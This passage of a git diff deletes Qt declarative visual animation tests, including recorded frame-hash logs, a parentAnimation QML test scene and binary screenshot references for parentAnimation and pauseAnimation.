5232 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5248 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5264 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5280 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5296 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5312 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5328 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5344 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 237; y: 299 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5360 - hash: "f1bc451d1f62cfb5dd60a7ea483d3844" - } - Frame { - msec: 5376 - hash: "eaeeb8c51d43e3c38ff7dde632d1f9c8" - } - Frame { - msec: 5392 - hash: "ec0e68c2e7a75fedd1091ce633dadd4f" - } - Frame { - msec: 5408 - hash: "a5d60efc176dee9083a2d746e7ad8315" - } - Frame { - msec: 5424 - hash: "48bcbbacf413080247f818e35e496e04" - } - Frame { - msec: 5440 - hash: "c521af8efa19fbac39119ad75cd469f5" - } - Frame { - msec: 5456 - hash: "0e74613c67fc9d9acb21a3d382c5efcd" - } - Frame { - msec: 5472 - hash: "eeb3f4467ebd7ee678c3b7371db28519" - } - Frame { - msec: 5488 - hash: "9c5b9009a35b74d0ddec8fec85f204bf" - } - Frame { - msec: 5504 - hash: "aefc70824e23428aebf0a40830a57469" - } - Frame { - msec: 5520 - hash: "1fa9c23760193b74b0063b4e4c434070" - } - Frame { - msec: 5536 - hash: "8091700d4729163bd87521385853e608" - } - Frame { - msec: 5552 - hash: "a13558e609570f9390f20a85d244fa22" - } - Frame { - msec: 5568 - hash: "7be5e3609bbeb9a2c1df7d52f3953d4d" - } - Frame { - msec: 5584 - hash: "51c8ae31f858121d86ef09cc9a5c5ef3" - } - Frame { - msec: 5600 - hash: "84ce8f39207f4b07c2c3323425a8c238" - } - Frame { - msec: 5616 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5632 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5648 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5664 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5680 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5696 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5712 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5728 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5744 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5760 - image: "parentAnimation.5.png" - } - Frame { - msec: 5776 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5792 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5808 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5824 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5840 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5856 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5872 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5888 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5904 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5920 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5936 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5952 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5968 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 5984 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6000 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6016 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 6032 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6048 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6064 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6080 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6096 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6112 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6128 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6144 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6160 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6176 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6192 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6208 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6224 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6240 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6256 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } - Frame { - msec: 6272 - hash: "4135271d78a5c63c3837a09c86f35ebe" - } -} diff --git a/tests/auto/declarative/visual/animation/parentAnimation/parentAnimation.qml b/tests/auto/declarative/visual/animation/parentAnimation/parentAnimation.qml deleted file mode 100644 index 8d0b375..0000000 --- a/tests/auto/declarative/visual/animation/parentAnimation/parentAnimation.qml +++ /dev/null @@ -1,68 +0,0 @@ -import Qt 4.6 - -/* -This test shows a green rectangle moving and growing from the upper-left corner -of the black rectangle to the same position as the red rectangle (it should end up -the same height as the red rect and twice as wide). There should be no odd jumps or clipping seen. - -The test shows one full transition (to the red and back), then several partial transitions, and -then a final full transition. -*/ - -Rectangle { - width: 800; - height: 480; - color: "black"; - - Rectangle { - id: gr - color: "green" - width: 100; height: 100 - } - - MouseArea { - id: mouser - anchors.fill: parent - } - - Rectangle { - id: np - x: 300 - width: 300; height: 300 - color: "yellow" - clip: true - Rectangle { - color: "red" - x: 100; y: 100; height: 100; width: 100 - } - - } - - Rectangle { - id: vp - x: 200; y: 200 - width: 100; height: 100 - color: "blue" - rotation: 45 - scale: 2 - } - - states: State { - name: "state1" - when: mouser.pressed - ParentChange { - target: gr - parent: np - x: 100; y: 100; width: 200; - } - } - - transitions: Transition { - reversible: true - to: "state1" - ParentAnimation { - target: gr; via: vp; - NumberAnimation { properties: "x,y,rotation,scale,width" } - } - } -} diff --git a/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.0.png b/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.0.png deleted file mode 100644 index 693a794..0000000 Binary files a/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.1.png b/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.1.png deleted file mode 100644 index 06d43f1..0000000 Binary files a/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.2.png b/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.2.png deleted file mode 100644 index e619baf..0000000 Binary files a/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.3.png b/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.3.png deleted file mode 100644 index 30c7671..0000000 Binary files a/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.4.png b/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.4.png deleted file mode 100644 index 132803c..0000000 Binary files a/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.5.png b/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.5.png deleted file mode 100644 index 8372bc3..0000000 Binary files a/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.qml b/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.qml deleted file mode 100644 index 73c6542..0000000 --- a/tests/auto/declarative/visual/animation/pauseAnimation/data/pauseAnimation.qml +++ /dev/null @@ -1,1619 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 32 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 48 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 64 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 80 - hash: "41ba853c3403f68a23e708df82e21c53" - } - Frame { - msec: 96 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 112 - hash: "336d31586171f22d541b989d24b95cbb" - } - Frame { - msec: 128 - hash: "6d63fb5c8a80f0280e88b2cdf8641bb9" - } - Frame { - msec: 144 - hash: "ef8941674cb61f54853dc33652bb854e" - } - Frame { - msec: 160 - hash: "b3f4a2165ec1ee971542b8ef89656cea" - } - Frame { - msec: 176 - hash: "af3120fe262d2489c0ed33fbbee1549f" - } - Frame { - msec: 192 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 208 - hash: "21f0b0437a999bbde66a913032d495c2" - } - Frame { - msec: 224 - hash: "0809d32d5bc1bfce199b1f39a1c68d4f" - } - Frame { - msec: 240 - hash: "022137587b39f5123835482178a1f1cf" - } - Frame { - msec: 256 - hash: "97566ce9558d13ea0780bce233097b27" - } - Frame { - msec: 272 - hash: "96d79b07da105b7f631ed61582b26f7e" - } - Frame { - msec: 288 - hash: "f4732ff2df93fe67cb850dec34184924" - } - Frame { - msec: 304 - hash: "054e6e52f74a3e24f04e6ad0071f79f8" - } - Frame { - msec: 320 - hash: "f541af93a9fde62e4bd1c91d30f91e65" - } - Frame { - msec: 336 - hash: "c4f844ee71f23635bb3ec7375f6a134f" - } - Frame { - msec: 352 - hash: "3e52e06db2bf78762bb9816fe6b105d9" - } - Frame { - msec: 368 - hash: "d9604be23a91327e6ab454609a9d4a13" - } - Frame { - msec: 384 - hash: "dc98a9bdd99367c1e9b838d4be489dcc" - } - Frame { - msec: 400 - hash: "e87b00bfc2c2a75a4234ec02a057ad3a" - } - Frame { - msec: 416 - hash: "5be4f5c67941efb6fcea363c79f1e321" - } - Frame { - msec: 432 - hash: "6cc9de62a0c8fa5e42eac1b01e99ac32" - } - Frame { - msec: 448 - hash: "62a7133012348f2ec3a388fb685ecc3f" - } - Frame { - msec: 464 - hash: "4ac43a03cc6f2020ab5f894d704092ac" - } - Frame { - msec: 480 - hash: "c1a7b7d6d64ac5584c073c2881290696" - } - Frame { - msec: 496 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 512 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 528 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 544 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 560 - hash: "29ece1bca4d21fb5862091317d430a13" - } - Frame { - msec: 576 - hash: "c1a7b7d6d64ac5584c073c2881290696" - } - Frame { - msec: 592 - hash: "c1a7b7d6d64ac5584c073c2881290696" - } - Frame { - msec: 608 - hash: "4ac43a03cc6f2020ab5f894d704092ac" - } - Frame { - msec: 624 - hash: "4ac43a03cc6f2020ab5f894d704092ac" - } - Frame { - msec: 640 - hash: "ffd39c1122fe2f7877ef30591b539b40" - } - Frame { - msec: 656 - hash: "62a7133012348f2ec3a388fb685ecc3f" - } - Frame { - msec: 672 - hash: "45281a70021f81dbef30334b1480da1b" - } - Frame { - msec: 688 - hash: "6cc9de62a0c8fa5e42eac1b01e99ac32" - } - Frame { - msec: 704 - hash: "79ec710576427df73dd03f39fba6e2eb" - } - Frame { - msec: 720 - hash: "5be4f5c67941efb6fcea363c79f1e321" - } - Frame { - msec: 736 - hash: "7d9096b1eb940c82a37baf39ef3ccf3e" - } - Frame { - msec: 752 - hash: "e87b00bfc2c2a75a4234ec02a057ad3a" - } - Frame { - msec: 768 - hash: "da60100dc55023c3bab367d97c8f6a85" - } - Frame { - msec: 784 - hash: "dc98a9bdd99367c1e9b838d4be489dcc" - } - Frame { - msec: 800 - hash: "3f869538028a09020d5e8f528f4fb119" - } - Frame { - msec: 816 - hash: "9650fd0364c01b11e4f5dcce51d008af" - } - Frame { - msec: 832 - hash: "2cb09d9655ecc30ae6a591b28c0d355c" - } - Frame { - msec: 848 - hash: "4db9bc6c11caf1d77794c2eabb62a44e" - } - Frame { - msec: 864 - hash: "ce2b5dd7418868acf86fea6ad19cc0c5" - } - Frame { - msec: 880 - hash: "7c27ef654e645679c90520d6cf00b0c4" - } - Frame { - msec: 896 - hash: "ab3e211df3ef7f5f7a8d712edc891c0f" - } - Frame { - msec: 912 - hash: "19d2ae617a49b57dd012677e2834469c" - } - Frame { - msec: 928 - hash: "5025eb75c88f0760f637e0342b7f88a2" - } - Frame { - msec: 944 - hash: "005acbef952a8ee536e6308a48223e65" - } - Frame { - msec: 960 - image: "pauseAnimation.0.png" - } - Frame { - msec: 976 - hash: "5f18a81707f23d377e81a27c1fc41ce9" - } - Frame { - msec: 992 - hash: "bcc35497884c158396c7f60759d1fda4" - } - Frame { - msec: 1008 - hash: "7a4528b000a4ea142d1c77407fa1f581" - } - Frame { - msec: 1024 - hash: "ba967a7d810a4531e577e5f6bd2def33" - } - Frame { - msec: 1040 - hash: "f5afd9cf8ffe27e9992454b9e68688cb" - } - Frame { - msec: 1056 - hash: "51d475c7f64a86d3a18fb115297a7b6b" - } - Frame { - msec: 1072 - hash: "49f5d6fd45c195a8d245b7fefc1277ab" - } - Frame { - msec: 1088 - hash: "f9b0b278659e3a0f78611e6b7f0f2176" - } - Frame { - msec: 1104 - hash: "0809d32d5bc1bfce199b1f39a1c68d4f" - } - Frame { - msec: 1120 - hash: "b7208d103b63a936dff8dd8ed224237f" - } - Frame { - msec: 1136 - hash: "a57c81049b0dc68090ec7c3327b9922c" - } - Frame { - msec: 1152 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 1168 - hash: "af3120fe262d2489c0ed33fbbee1549f" - } - Frame { - msec: 1184 - hash: "0c20d12464abbdc45041ea5d9f2719b1" - } - Frame { - msec: 1200 - hash: "dd60cbaff6f34027474e92315dbc0ebc" - } - Frame { - msec: 1216 - hash: "336d31586171f22d541b989d24b95cbb" - } - Frame { - msec: 1232 - hash: "41ba853c3403f68a23e708df82e21c53" - } - Frame { - msec: 1248 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 1264 - hash: "41ba853c3403f68a23e708df82e21c53" - } - Frame { - msec: 1280 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 1296 - hash: "336d31586171f22d541b989d24b95cbb" - } - Frame { - msec: 1312 - hash: "f0d8132489c2f2ef760e905b3c093726" - } - Frame { - msec: 1328 - hash: "6d63fb5c8a80f0280e88b2cdf8641bb9" - } - Frame { - msec: 1344 - hash: "dd60cbaff6f34027474e92315dbc0ebc" - } - Frame { - msec: 1360 - hash: "ef8941674cb61f54853dc33652bb854e" - } - Frame { - msec: 1376 - hash: "bc426fb7c31751665b0d3f16e2cb0173" - } - Frame { - msec: 1392 - hash: "0c20d12464abbdc45041ea5d9f2719b1" - } - Frame { - msec: 1408 - hash: "53ae93140252373eaa4d9da73756bd8e" - } - Frame { - msec: 1424 - hash: "721d7061811b5439c2e8e395917494bc" - } - Frame { - msec: 1440 - hash: "af3120fe262d2489c0ed33fbbee1549f" - } - Frame { - msec: 1456 - hash: "a8b624ebfc9ab713d1ce55f318a6e90d" - } - Frame { - msec: 1472 - hash: "a88a8129259f86df5a73addc3649ad37" - } - Frame { - msec: 1488 - hash: "a88a8129259f86df5a73addc3649ad37" - } - Frame { - msec: 1504 - hash: "3db5e30ef19ea693c21ccf72892c4390" - } - Frame { - msec: 1520 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 1536 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 1552 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 1568 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 1584 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 1600 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 1616 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 1632 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 1648 - hash: "1373545e43fff7251cec9e8375ea267f" - } - Frame { - msec: 1664 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 1680 - hash: "e553f365912586c6408c8c53b1b7d118" - } - Frame { - msec: 1696 - hash: "3db5e30ef19ea693c21ccf72892c4390" - } - Frame { - msec: 1712 - hash: "3db5e30ef19ea693c21ccf72892c4390" - } - Frame { - msec: 1728 - hash: "a88a8129259f86df5a73addc3649ad37" - } - Frame { - msec: 1744 - hash: "a8b624ebfc9ab713d1ce55f318a6e90d" - } - Frame { - msec: 1760 - hash: "a8b624ebfc9ab713d1ce55f318a6e90d" - } - Frame { - msec: 1776 - hash: "af3120fe262d2489c0ed33fbbee1549f" - } - Frame { - msec: 1792 - hash: "721d7061811b5439c2e8e395917494bc" - } - Frame { - msec: 1808 - hash: "b3f4a2165ec1ee971542b8ef89656cea" - } - Frame { - msec: 1824 - hash: "0c20d12464abbdc45041ea5d9f2719b1" - } - Frame { - msec: 1840 - hash: "bc426fb7c31751665b0d3f16e2cb0173" - } - Frame { - msec: 1856 - hash: "ef8941674cb61f54853dc33652bb854e" - } - Frame { - msec: 1872 - hash: "dd60cbaff6f34027474e92315dbc0ebc" - } - Frame { - msec: 1888 - hash: "6d63fb5c8a80f0280e88b2cdf8641bb9" - } - Frame { - msec: 1904 - hash: "e74fe4a6bd92cbe8629c8bc8a870104d" - } - Frame { - msec: 1920 - image: "pauseAnimation.1.png" - } - Frame { - msec: 1936 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 1952 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 1968 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 1984 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2000 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 2016 - hash: "41ba853c3403f68a23e708df82e21c53" - } - Frame { - msec: 2032 - hash: "ce57e27af329eba4fac3ab891f0407ce" - } - Frame { - msec: 2048 - hash: "ce57e27af329eba4fac3ab891f0407ce" - } - Frame { - msec: 2064 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 2080 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 2096 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 2112 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 2128 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 2144 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 2160 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 2176 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 2192 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 2208 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 2224 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 2240 - hash: "a725b59b4947357546bbfc7df3d830af" - } - Frame { - msec: 2256 - hash: "ce57e27af329eba4fac3ab891f0407ce" - } - Frame { - msec: 2272 - hash: "ce57e27af329eba4fac3ab891f0407ce" - } - Frame { - msec: 2288 - hash: "41ba853c3403f68a23e708df82e21c53" - } - Frame { - msec: 2304 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 2320 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2336 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2352 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2368 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2384 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2400 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2416 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 2432 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 2448 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2464 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2480 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2496 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 2512 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2528 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2544 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2560 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2576 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2592 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2608 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2624 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2640 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2656 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2672 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2688 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2704 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2720 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2736 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2752 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2768 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2784 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2800 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2816 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2832 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2848 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2864 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2880 - image: "pauseAnimation.2.png" - } - Frame { - msec: 2896 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2912 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2928 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2944 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2960 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2976 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 2992 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3008 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3024 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3040 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3056 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3072 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3088 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3104 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3120 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3136 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3152 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3168 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3184 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3200 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3216 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3232 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3248 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3264 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3280 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3296 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3312 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3328 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3344 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3360 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3376 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3392 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3408 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3424 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3440 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3456 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3472 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3488 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3504 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3520 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3536 - hash: "a350b70c5238a340e85fd4a3ec0390a3" - } - Frame { - msec: 3552 - hash: "675ebbdd22dd22ce45993df4af1acfe9" - } - Frame { - msec: 3568 - hash: "dcf2867c127e041970047ec8f3edc04f" - } - Frame { - msec: 3584 - hash: "ce57e27af329eba4fac3ab891f0407ce" - } - Frame { - msec: 3600 - hash: "3042003c067b257de2cb32f650dde693" - } - Frame { - msec: 3616 - hash: "e74fe4a6bd92cbe8629c8bc8a870104d" - } - Frame { - msec: 3632 - hash: "e11455d4e23a5a865e222a7aba4ba4f9" - } - Frame { - msec: 3648 - hash: "8757668e56be6449ec375f0b8fed1be3" - } - Frame { - msec: 3664 - hash: "53ae93140252373eaa4d9da73756bd8e" - } - Frame { - msec: 3680 - hash: "a88a8129259f86df5a73addc3649ad37" - } - Frame { - msec: 3696 - hash: "630d90eef2673a69e8ebc4ef1ba40e81" - } - Frame { - msec: 3712 - hash: "b7208d103b63a936dff8dd8ed224237f" - } - Frame { - msec: 3728 - hash: "1516c3547c7cf64832b3bc7da7c44521" - } - Frame { - msec: 3744 - hash: "49f5d6fd45c195a8d245b7fefc1277ab" - } - Frame { - msec: 3760 - hash: "f5afd9cf8ffe27e9992454b9e68688cb" - } - Frame { - msec: 3776 - hash: "7a4528b000a4ea142d1c77407fa1f581" - } - Frame { - msec: 3792 - hash: "5f18a81707f23d377e81a27c1fc41ce9" - } - Frame { - msec: 3808 - hash: "005acbef952a8ee536e6308a48223e65" - } - Frame { - msec: 3824 - hash: "85c135ef72d3d25658a3663e69ffb7c2" - } - Frame { - msec: 3840 - image: "pauseAnimation.3.png" - } - Frame { - msec: 3856 - hash: "20258f07c613958c32f783466771391a" - } - Frame { - msec: 3872 - hash: "9650fd0364c01b11e4f5dcce51d008af" - } - Frame { - msec: 3888 - hash: "f340cdf60c6d4c29d26b7202a093ec70" - } - Frame { - msec: 3904 - hash: "d754d35d0793f9f7d4f6249a874e4c45" - } - Frame { - msec: 3920 - hash: "79ec710576427df73dd03f39fba6e2eb" - } - Frame { - msec: 3936 - hash: "45281a70021f81dbef30334b1480da1b" - } - Frame { - msec: 3952 - hash: "ffd39c1122fe2f7877ef30591b539b40" - } - Frame { - msec: 3968 - hash: "4ac43a03cc6f2020ab5f894d704092ac" - } - Frame { - msec: 3984 - hash: 